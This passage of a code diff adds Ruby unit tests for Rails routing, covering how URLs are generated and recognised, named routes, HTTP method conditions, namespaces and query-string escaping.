+    assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
+    assert_equal '/', rs.generate(:controller => 'content')
+  end
+
+  def test_named_url_with_no_action_specified
+    rs.draw do |map|
+      map.home '', :controller => 'content'
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
+    assert_equal '/', rs.generate(:controller => 'content')
+
+    x = setup_for_named_route
+    assert_equal("http://test.host/",
+                 x.send(:home_url))
+  end
+
+  def test_url_generated_when_forgetting_action
+    [{:controller => 'content', :action => 'index'}, {:controller => 'content'}].each do |hash|
+      rs.draw do |map|
+        map.home '', hash
+        map.connect ':controller/:action/:id'
+      end
+      assert_equal '/', rs.generate({:action => nil}, {:controller => 'content', :action => 'hello'})
+      assert_equal '/', rs.generate({:controller => 'content'})
+      assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
+    end
+  end
+
+  def test_named_route_method
+    rs.draw do |map|
+      map.categories 'categories', :controller => 'content', :action => 'categories'
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/categories', rs.generate(:controller => 'content', :action => 'categories')
+    assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
+  end
+
+  def test_named_routes_array
+    test_named_route_method
+    assert_equal [:categories], rs.named_routes.names
+  end
+
+  def test_nil_defaults
+    rs.draw do |map|
+      map.connect 'journal',
+        :controller => 'content',
+        :action => 'list_journal',
+        :date => nil, :user_id => nil
+      map.connect ':controller/:action/:id'
+    end
+
+    assert_equal '/journal', rs.generate(:controller => 'content', :action => 'list_journal', :date => nil, :user_id => nil)
+  end
+
+  def setup_request_method_routes_for(method)
+    @request = ActionController::TestRequest.new
+    @request.env["REQUEST_METHOD"] = method
+    @request.request_uri = "/match"
+
+    rs.draw do |r|
+      r.connect '/match', :controller => 'books', :action => 'get', :conditions => { :method => :get }
+      r.connect '/match', :controller => 'books', :action => 'post', :conditions => { :method => :post }
+      r.connect '/match', :controller => 'books', :action => 'put', :conditions => { :method => :put }
+      r.connect '/match', :controller => 'books', :action => 'delete', :conditions => { :method => :delete }
+    end
+  end
+
+  %w(GET POST PUT DELETE).each do |request_method|
+    define_method("test_request_method_recognized_with_#{request_method}") do
+      begin
+        Object.const_set(:BooksController, Class.new(ActionController::Base))
+
+        setup_request_method_routes_for(request_method)
+
+        assert_nothing_raised { rs.recognize(@request) }
+        assert_equal request_method.downcase, @request.path_parameters[:action]
+      ensure
+        Object.send(:remove_const, :BooksController) rescue nil
+      end
+    end
+  end
+
+  def test_recognize_array_of_methods
+    Object.const_set(:BooksController, Class.new(ActionController::Base))
+    rs.draw do |r|
+      r.connect '/match', :controller => 'books', :action => 'get_or_post', :conditions => { :method => [:get, :post] }
+      r.connect '/match', :controller => 'books', :action => 'not_get_or_post'
+    end
+
+    @request = ActionController::TestRequest.new
+    @request.env["REQUEST_METHOD"] = 'POST'
+    @request.request_uri = "/match"
+    assert_nothing_raised { rs.recognize(@request) }
+    assert_equal 'get_or_post', @request.path_parameters[:action]
+
+    # have to recreate or else the RouteSet uses a cached version:
+    @request = ActionController::TestRequest.new
+    @request.env["REQUEST_METHOD"] = 'PUT'
+    @request.request_uri = "/match"
+    assert_nothing_raised { rs.recognize(@request) }
+    assert_equal 'not_get_or_post', @request.path_parameters[:action]
+  ensure
+    Object.send(:remove_const, :BooksController) rescue nil
+  end
+
+  def test_subpath_recognized
+    Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
+
+    rs.draw do |r|
+      r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
+      r.connect '/items/:id/:action', :controller => 'subpath_books'
+      r.connect '/posts/new/:action', :controller => 'subpath_books'
+      r.connect '/posts/:id', :controller => 'subpath_books', :action => "show"
+    end
+
+    hash = rs.recognize_path "/books/17/edit"
+    assert_not_nil hash
+    assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
+
+    hash = rs.recognize_path "/items/3/complete"
+    assert_not_nil hash
+    assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
+
+    hash = rs.recognize_path "/posts/new/preview"
+    assert_not_nil hash
+    assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
+
+    hash = rs.recognize_path "/posts/7"
+    assert_not_nil hash
+    assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
+  ensure
+    Object.send(:remove_const, :SubpathBooksController) rescue nil
+  end
+
+  def test_subpath_generated
+    Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
+
+    rs.draw do |r|
+      r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
+      r.connect '/items/:id/:action', :controller => 'subpath_books'
+      r.connect '/posts/new/:action', :controller => 'subpath_books'
+    end
+
+    assert_equal "/books/7/edit", rs.generate(:controller => "subpath_books", :id => 7, :action => "edit")
+    assert_equal "/items/15/complete", rs.generate(:controller => "subpath_books", :id => 15, :action => "complete")
+    assert_equal "/posts/new/preview", rs.generate(:controller => "subpath_books", :action => "preview")
+  ensure
+    Object.send(:remove_const, :SubpathBooksController) rescue nil
+  end
+
+  def test_failed_requirements_raises_exception_with_violated_requirements
+    rs.draw do |r|
+      r.foo_with_requirement 'foos/:id', :controller=>'foos', :requirements=>{:id=>/\d+/}
+    end
+
+    x = setup_for_named_route
+    assert_raise(ActionController::RoutingError) do
+      x.send(:foo_with_requirement_url, "I am Against the requirements")
+    end
+  end
+
+  def test_routes_changed_correctly_after_clear
+    ActionController::Base.optimise_named_routes = true
+    rs = ::ActionController::Routing::RouteSet.new
+    rs.draw do |r|
+      r.connect 'ca', :controller => 'ca', :action => "aa"
+      r.connect 'cb', :controller => 'cb', :action => "ab"
+      r.connect 'cc', :controller => 'cc', :action => "ac"
+      r.connect ':controller/:action/:id'
+      r.connect ':controller/:action/:id.:format'
+    end
+
+    hash = rs.recognize_path "/cc"
+
+    assert_not_nil hash
+    assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+
+    rs.draw do |r|
+      r.connect 'cb', :controller => 'cb', :action => "ab"
+      r.connect 'cc', :controller => 'cc', :action => "ac"
+      r.connect ':controller/:action/:id'
+      r.connect ':controller/:action/:id.:format'
+    end
+
+    hash = rs.recognize_path "/cc"
+
+    assert_not_nil hash
+    assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+
+  end
+end
+
+class RouteTest < Test::Unit::TestCase
+  def setup
+    @route = ROUTING::Route.new
+  end
+
+  def slash_segment(is_optional = false)
+    ROUTING::DividerSegment.new('/', :optional => is_optional)
+  end
+
+  def default_route
+    unless defined?(@default_route)
+      segments = []
+      segments << ROUTING::StaticSegment.new('/', :raw => true)
+      segments << ROUTING::DynamicSegment.new(:controller)
+      segments << slash_segment(:optional)
+      segments << ROUTING::DynamicSegment.new(:action, :default => 'index', :optional => true)
+      segments << slash_segment(:optional)
+      segments << ROUTING::DynamicSegment.new(:id, :optional => true)
+      segments << slash_segment(:optional)
+      @default_route = ROUTING::Route.new(segments).freeze
+    end
+    @default_route
+  end
+
+  def test_default_route_recognition
+    expected = {:controller => 'accounts', :action => 'show', :id => '10'}
+    assert_equal expected, default_route.recognize('/accounts/show/10')
+    assert_equal expected, default_route.recognize('/accounts/show/10/')
+
+    expected[:id] = 'jamis'
+    assert_equal expected, default_route.recognize('/accounts/show/jamis/')
+
+    expected.delete :id
+    assert_equal expected, default_route.recognize('/accounts/show')
+    assert_equal expected, default_route.recognize('/accounts/show/')
+
+    expected[:action] = 'index'
+    assert_equal expected, default_route.recognize('/accounts/')
+    assert_equal expected, default_route.recognize('/accounts')
+
+    assert_equal nil, default_route.recognize('/')
+    assert_equal nil, default_route.recognize('/accounts/how/goood/it/is/to/be/free')
+  end
+
+  def test_default_route_should_omit_default_action
+    o = {:controller => 'accounts', :action => 'index'}
+    assert_equal '/accounts', default_route.generate(o, o, {})
+  end
+
+  def test_default_route_should_include_default_action_when_id_present
+    o = {:controller => 'accounts', :action => 'index', :id => '20'}
+    assert_equal '/accounts/index/20', default_route.generate(o, o, {})
+  end
+
+  def test_default_route_should_work_with_action_but_no_id
+    o = {:controller => 'accounts', :action => 'list_all'}
+    assert_equal '/accounts/list_all', default_route.generate(o, o, {})
+  end
+
+  def test_default_route_should_uri_escape_pluses
+    expected = { :controller => 'accounts', :action => 'show', :id => 'hello world' }
+    assert_equal expected, default_route.recognize('/accounts/show/hello world')
+    assert_equal expected, default_route.recognize('/accounts/show/hello%20world')
+    assert_equal '/accounts/show/hello%20world', default_route.generate(expected, expected, {})
+
+    expected[:id] = 'hello+world'
+    assert_equal expected, default_route.recognize('/accounts/show/hello+world')
+    assert_equal expected, default_route.recognize('/accounts/show/hello%2Bworld')
+    assert_equal '/accounts/show/hello+world', default_route.generate(expected, expected, {})
+  end
+
+  def test_matches_controller_and_action
+    # requirement_for should only be called for the action and controller _once_
+    @route.expects(:requirement_for).with(:controller).times(1).returns('pages')
+    @route.expects(:requirement_for).with(:action).times(1).returns('show')
+
+    @route.requirements = {:controller => 'pages', :action => 'show'}
+    assert @route.matches_controller_and_action?('pages', 'show')
+    assert !@route.matches_controller_and_action?('not_pages', 'show')
+    assert !@route.matches_controller_and_action?('pages', 'not_show')
+  end
+
+  def test_parameter_shell
+    page_url = ROUTING::Route.new
+    page_url.requirements = {:controller => 'pages', :action => 'show', :id => /\d+/}
+    assert_equal({:controller => 'pages', :action => 'show'}, page_url.parameter_shell)
+  end
+
+  def test_defaults
+    route = ROUTING::RouteBuilder.new.build '/users/:id.:format', :controller => "users", :action => "show", :format => "html"
+    assert_equal(
+      { :controller => "users", :action => "show", :format => "html" },
+      route.defaults)
+  end
+
+  def test_builder_complains_without_controller
+    assert_raise(ArgumentError) do
+      ROUTING::RouteBuilder.new.build '/contact', :contoller => "contact", :action => "index"
+    end
+  end
+
+  def test_significant_keys_for_default_route
+    keys = default_route.significant_keys.sort_by {|k| k.to_s }
+    assert_equal [:action, :controller, :id], keys
+  end
+
+  def test_significant_keys
+    segments = []
+    segments << ROUTING::StaticSegment.new('/', :raw => true)
+    segments << ROUTING::StaticSegment.new('user')
+    segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
+    segments << ROUTING::DynamicSegment.new(:user)
+    segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
+
+    requirements = {:controller => 'users', :action => 'show'}
+
+    user_url = ROUTING::Route.new(segments, requirements)
+    keys = user_url.significant_keys.sort_by { |k| k.to_s }
+    assert_equal [:action, :controller, :user], keys
+  end
+
+  def test_build_empty_query_string
+    assert_equal '', @route.build_query_string({})
+  end
+
+  def test_build_query_string_with_nil_value
+    assert_equal '', @route.build_query_string({:x => nil})
+  end
+
+  def test_simple_build_query_string
+    assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => '1', :y => '2'))
+  end
+
+  def test_convert_ints_build_query_string
+    assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => 1, :y => 2))
+  end
+
+  def test_escape_spaces_build_query_string
+    assert_equal '?x=hello+world&y=goodbye+world', order_query_string(@route.build_query_string(:x => 'hello world', :y => 'goodbye world'))
+  end
+
+  def test_expand_array_build_query_string
+    assert_equal '?x%5B%5D=1&x%5B%5D=2', order_query_string(@route.build_query_string(:x => [1, 2]))
+  end
+
+  def test_escape_spaces_build_query_string_selected_keys
+    assert_equal '?x=hello+world', order_query_string(@route.build_query_string({:x => 'hello world', :y => 'goodbye world'}, [:x]))
+  end
+
+  private
+    def order_query_string(qs)
+      '?' + qs[1..-1].split('&').sort.join('&')
+    end
+end
+
+class RouteSetTest < ActiveSupport::TestCase
+  def set
+    @set ||= ROUTING::RouteSet.new
+  end
+
+  def request
+    @request ||= ActionController::TestRequest.new
+  end
+
+  def test_generate_extras
+    set.draw { |m| m.connect ':controller/:action/:id' }
+    path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+    assert_equal "/foo/bar/15", path
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_extra_keys
+    set.draw { |m| m.connect ':controller/:action/:id' }
+    extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_generate_extras_not_first
+    set.draw do |map|
+      map.connect ':controller/:action/:id.:format'
+      map.connect ':controller/:action/:id'
+    end
+    path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+    assert_equal "/foo/bar/15", path
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_generate_not_first
+    set.draw do |map|
+      map.connect ':controller/:action/:id.:format'
+      map.connect ':controller/:action/:id'
+    end
+    assert_equal "/foo/bar/15?this=hello", set.generate(:controller => "foo", :action => "bar", :id => 15, :this => "hello")
+  end
+
+  def test_extra_keys_not_first
+    set.draw do |map|
+      map.connect ':controller/:action/:id.:format'
+      map.connect ':controller/:action/:id'
+    end
+    extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+    assert_equal %w(that this), extras.map(&:to_s).sort
+  end
+
+  def test_draw
+    assert_equal 0, set.routes.size
+    set.draw do |map|
+      map.connect '/hello/world', :controller => 'a', :action => 'b'
+    end
+    assert_equal 1, set.routes.size
+  end
+
+  def test_draw_symbol_controller_name
+    assert_equal 0, set.routes.size
+    set.draw do |map|
+      map.connect '/users/index', :controller => :users, :action => :index
+    end
+    @request = ActionController::TestRequest.new
+    @request.request_uri = '/users/index'
+    assert_nothing_raised { set.recognize(@request) }
+    assert_equal 1, set.routes.size
+  end
+
+  def test_named_draw
+    assert_equal 0, set.routes.size
+    set.draw do |map|
+      map.hello '/hello/world', :controller => 'a', :action => 'b'
+    end
+    assert_equal 1, set.routes.size
+    assert_equal set.routes.first, set.named_routes[:hello]
+  end
+
+  def test_later_named_routes_take_precedence
+    set.draw do |map|
+      map.hello '/hello/world', :controller => 'a', :action => 'b'
+      map.hello '/hello', :controller => 'a', :action => 'b'
+    end
+    assert_equal set.routes.last, set.named_routes[:hello]
+  end
+
+  def setup_named_route_test
+    set.draw do |map|
+      map.show '/people/:id', :controller => 'people', :action => 'show'
+      map.index '/people', :controller => 'people', :action => 'index'
+      map.multi '/people/go/:foo/:bar/joe/:id', :controller => 'people', :action => 'multi'
+      map.users '/admin/users', :controller => 'admin/users', :action => 'index'
+    end
+
+    klass = Class.new(MockController)
+    set.install_helpers(klass)
+    klass.new(set)
+  end
+
+  def test_named_route_hash_access_method
+    controller = setup_named_route_test
+
+    assert_equal(
+      { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => false },
+      controller.send(:hash_for_show_url, :id => 5))
+
+    assert_equal(
+      { :controller => 'people', :action => 'index', :use_route => :index, :only_path => false },
+      controller.send(:hash_for_index_url))
+
+    assert_equal(
+      { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => true },
+      controller.send(:hash_for_show_path, :id => 5)
+    )
+  end
+
+  def test_named_route_url_method
+    controller = setup_named_route_test
+
+    assert_equal "http://test.host/people/5", controller.send(:show_url, :id => 5)
+    assert_equal "/people/5", controller.send(:show_path, :id => 5)
+
+    assert_equal "http://test.host/people", controller.send(:index_url)
+    assert_equal "/people", controller.send(:index_path)
+
+    assert_equal "http://test.host/admin/users", controller.send(:users_url)
+    assert_equal '/admin/users', controller.send(:users_path)
+    assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
+  end
+
+  def test_named_route_url_method_with_anchor
+    controller = setup_named_route_test
+
+    assert_equal "http://test.host/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
+    assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
+
+    assert_equal "http://test.host/people#location", controller.send(:index_url, :anchor => 'location')
+    assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
+
+    assert_equal "http://test.host/admin/users#location", controller.send(:users_url, :anchor => 'location')
+    assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
+
+    assert_equal "http://test.host/people/go/7/hello/joe/5#location",
+      controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
+
+    assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
+      controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
+
+    assert_equal "http://test.host/people?baz=bar#location",
+      controller.send(:index_url, :baz => "bar", :anchor => 'location')
+  end
+
+  def test_named_route_url_method_with_port
+    controller = setup_named_route_test
+    assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, :port=>8080)
+  end
+
+  def test_named_route_url_method_with_host
+    controller = setup_named_route_test
+    assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
+  end
+
+  def test_named_route_url_method_with_protocol
+    controller = setup_named_route_test
+    assert_equal "https://test.host/people/5", controller.send(:show_url, 5, :protocol => "https")
+  end
+
+  def test_named_route_url_method_with_ordered_parameters
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people/go/7/hello/joe/5",
+      controller.send(:multi_url, 7, "hello", 5)
+  end
+
+  def test_named_route_url_method_with_ordered_parameters_and_hash
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
+      controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
+  end
+
+  def test_named_route_url_method_with_ordered_parameters_and_empty_hash
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people/go/7/hello/joe/5",
+      controller.send(:multi_url, 7, "hello", 5, {})
+  end
+
+  def test_named_route_url_method_with_no_positional_arguments
+    controller = setup_named_route_test
+    assert_equal "http://test.host/people?baz=bar",
+      controller.send(:index_url, :baz => "bar")
+  end
+
+  def test_draw_default_route
+    ActionController::Routing.with_controllers(['users']) do
+      set.draw do |map|
+        map.connect '/:controller/:action/:id'
+      end
+
+      assert_equal 1, set.routes.size
+      route = set.routes.first
+
+      assert route.segments.last.optional?
+
+      assert_equal '/users/show/10', set.generate(:controller => 'users', :action => 'show', :id => 10)
+      assert_equal '/users/index/10', set.generate(:controller => 'users', :id => 10)
+
+      assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
+      assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
+    end
+  end
+
+  def test_draw_default_route_with_default_controller
+    ActionController::Routing.with_controllers(['users']) do
+      set.draw do |map|
+        map.connect '/:controller/:action/:id', :controller => 'users'
+      end
+      assert_equal({:controller => 'users', :action => 'index'}, set.recognize_path('/'))
+    end
+  end
+
+  def test_route_with_parameter_shell
+    ActionController::Routing.with_controllers(['users', 'pages']) do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
+        map.connect '/:controller/:action/:id'
+      end
+
+      assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
+      assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
+      assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
+
+      assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
+      assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+    end
+  end
+
+  def test_route_requirements_with_anchor_chars_are_invalid
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /^\d+/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\A\d+/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+$/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\Z/
+      end
+    end
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\z/
+      end
+    end
+    assert_nothing_raised do
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/, :name => /^(david|jamis)/
+      end
+      assert_raise ActionController::RoutingError do
+        set.generate :controller => 'pages', :action => 'show', :id => 10
+      end
+    end
+  end
+
+  def test_route_requirements_with_invalid_http_method_is_invalid
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :invalid}
+      end
+    end
+  end
+
+  def test_route_requirements_with_options_method_condition_is_valid
+    assert_nothing_raised do
+      set.draw do |map|
+        map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :options}
+      end
+    end
+  end
+
+  def test_route_requirements_with_head_method_condition_is_invalid
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :head}
+      end
+    end
+  end
+
+  def test_non_path_route_requirements_match_all
+    set.draw do |map|
+      map.connect 'page/37s', :controller => 'pages', :action => 'show', :name => /(jamis|david)/
+    end
+    assert_equal '/page/37s', set.generate(:controller => 'pages', :action => 'show', :name => 'jamis')
+    assert_raise ActionController::RoutingError do
+      set.generate(:controller => 'pages', :action => 'show', :name => 'not_jamis')
+    end
+    assert_raise ActionController::RoutingError do
+      set.generate(:controller => 'pages', :action => 'show', :name => 'nor_jamis_and_david')
+    end
+  end
+
+  def test_recognize_with_encoded_id_and_regex
+    set.draw do |map|
+      map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /[a-zA-Z0-9\+]+/
+    end
+
+    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+    assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
+  end
+
+  def test_recognize_with_conditions
+    Object.const_set(:PeopleController, Class.new)
+
+    set.draw do |map|
+      map.with_options(:controller => "people") do |people|
+        people.people  "/people",     :action => "index",   :conditions => { :method => :get }
+        people.connect "/people",     :action => "create",  :conditions => { :method => :post }
+        people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
+        people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
+        people.connect "/people/:id", :action => "destroy", :conditions => { :method => :delete }
+      end
+    end
+
+    request.path = "/people"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("index", request.path_parameters[:action])
+    request.recycle!
+
+    request.env["REQUEST_METHOD"] = "POST"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("create", request.path_parameters[:action])
+    request.recycle!
+
+    request.env["REQUEST_METHOD"] = "PUT"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("update", request.path_parameters[:action])
+    request.recycle!
+
+    assert_raise(ActionController::UnknownHttpMethod) {
+      request.env["REQUEST_METHOD"] = "BACON"
+      set.recognize(request)
+    }
+    request.recycle!
+
+    request.path = "/people/5"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("show", request.path_parameters[:action])
+    assert_equal("5", request.path_parameters[:id])
+    request.recycle!
+
+    request.env["REQUEST_METHOD"] = "PUT"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("update", request.path_parameters[:action])
+    assert_equal("5", request.path_parameters[:id])
+    request.recycle!
+
+    request.env["REQUEST_METHOD"] = "DELETE"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("destroy", request.path_parameters[:action])
+    assert_equal("5", request.path_parameters[:id])
+    request.recycle!
+
+    begin
+      request.env["REQUEST_METHOD"] = "POST"
+      set.recognize(request)
+      flunk 'Should have raised MethodNotAllowed'
+    rescue ActionController::MethodNotAllowed => e
+      assert_equal [:get, :put, :delete], e.allowed_methods
+    end
+    request.recycle!
+
+  ensure
+    Object.send(:remove_const, :PeopleController)
+  end
+
+  def test_recognize_with_alias_in_conditions
+    Object.const_set(:PeopleController, Class.new)
+
+    set.draw do |map|
+      map.people "/people", :controller => 'people', :action => "index",
+        :conditions => { :method => :get }
+      map.root   :people
+    end
+
+    request.path = "/people"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("people", request.path_parameters[:controller])
+    assert_equal("index", request.path_parameters[:action])
+
+    request.path = "/"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("people", request.path_parameters[:controller])
+    assert_equal("index", request.path_parameters[:action])
+  ensure
+    Object.send(:remove_const, :PeopleController)
+  end
+
+  def test_typo_recognition
+    Object.const_set(:ArticlesController, Class.new)
+
+    set.draw do |map|
+      map.connect 'articles/:year/:month/:day/:title',
+             :controller => 'articles', :action => 'permalink',
+             :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
+    end
+
+    request.path = "/articles/2005/11/05/a-very-interesting-article"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("permalink", request.path_parameters[:action])
+    assert_equal("2005", request.path_parameters[:year])
+    assert_equal("11", request.path_parameters[:month])
+    assert_equal("05", request.path_parameters[:day])
+    assert_equal("a-very-interesting-article", request.path_parameters[:title])
+
+  ensure
+    Object.send(:remove_const, :ArticlesController)
+  end
+
+  def test_routing_traversal_does_not_load_extra_classes
+    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+    set.draw do |map|
+      map.connect '/profile', :controller => 'profile'
+    end
+
+    request.path = '/profile'
+
+    set.recognize(request) rescue nil
+
+    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+  end
+
+  def test_recognize_with_conditions_and_format
+    Object.const_set(:PeopleController, Class.new)
+
+    set.draw do |map|
+      map.with_options(:controller => "people") do |people|
+        people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
+        people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
+        people.connect "/people/:id.:_format", :action => "show", :conditions => { :method => :get }
+      end
+    end
+
+    request.path = "/people/5"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("show", request.path_parameters[:action])
+    assert_equal("5", request.path_parameters[:id])
+    request.recycle!
+
+    request.env["REQUEST_METHOD"] = "PUT"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("update", request.path_parameters[:action])
+    request.recycle!
+
+    request.path = "/people/5.png"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("show", request.path_parameters[:action])
+    assert_equal("5", request.path_parameters[:id])
+    assert_equal("png", request.path_parameters[:_format])
+  ensure
+    Object.send(:remove_const, :PeopleController)
+  end
+
+  def test_generate_with_default_action
+    set.draw do |map|
+      map.connect "/people", :controller => "people"
+      map.connect "/people/list", :controller => "people", :action => "list"
+    end
+
+    url = set.generate(:controller => "people", :action => "list")
+    assert_equal "/people/list", url
+  end
+
+  def test_root_map
+    Object.const_set(:PeopleController, Class.new)
+
+    set.draw { |map| map.root :controller => "people" }
+
+    request.path = ""
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("people", request.path_parameters[:controller])
+    assert_equal("index", request.path_parameters[:action])
+  ensure
+    Object.send(:remove_const, :PeopleController)
+  end
+
+  def test_namespace
+    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+    set.draw do |map|
+
+      map.namespace 'api' do |api|
+        api.route 'inventory', :controller => "products", :action => 'inventory'
+      end
+
+    end
+
+    request.path = "/api/inventory"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("api/products", request.path_parameters[:controller])
+    assert_equal("inventory", request.path_parameters[:action])
+  ensure
+    Object.send(:remove_const, :Api)
+  end
+
+  def test_namespaced_root_map
+    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+    set.draw do |map|
+
+      map.namespace 'api' do |api|
+        api.root :controller => "products"
+      end
+
+    end
+
+    request.path = "/api"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("api/products", request.path_parameters[:controller])
+    assert_equal("index", request.path_parameters[:action])
+  ensure
+    Object.send(:remove_const, :Api)
+  end
+
+  def test_namespace_with_path_prefix
+    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+    set.draw do |map|
+      map.namespace 'api', :path_prefix => 'prefix' do |api|
+        api.route 'inventory', :controller => "products", :action => 'inventory'
+      end
+    end
+
+    request.path = "/prefix/inventory"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("api/products", request.path_parameters[:controller])
+    assert_equal("inventory", request.path_parameters[:action])
+  ensure
+    Object.send(:remove_const, :Api)
+  end
+
+  def test_namespace_with_blank_path_prefix
+    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+    set.draw do |map|
+      map.namespace 'api', :path_prefix => '' do |api|
+        api.route 'inventory', :controller => "products", :action => 'inventory'
+      end
+    end
+
+    request.path = "/inventory"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("api/products", request.path_parameters[:controller])
+    assert_equal("inventory", request.path_parameters[:action])
+  ensure
+    Object.send(:remove_const, :Api)
+  end
+
+  def test_generate_finds_best_fit
+    set.draw do |map|
+      map.connect "/people", :controller => "people", :action => "index"
+      map.connect "/ws/people", :controller => "people", :action => "index", :ws => true
+    end
+
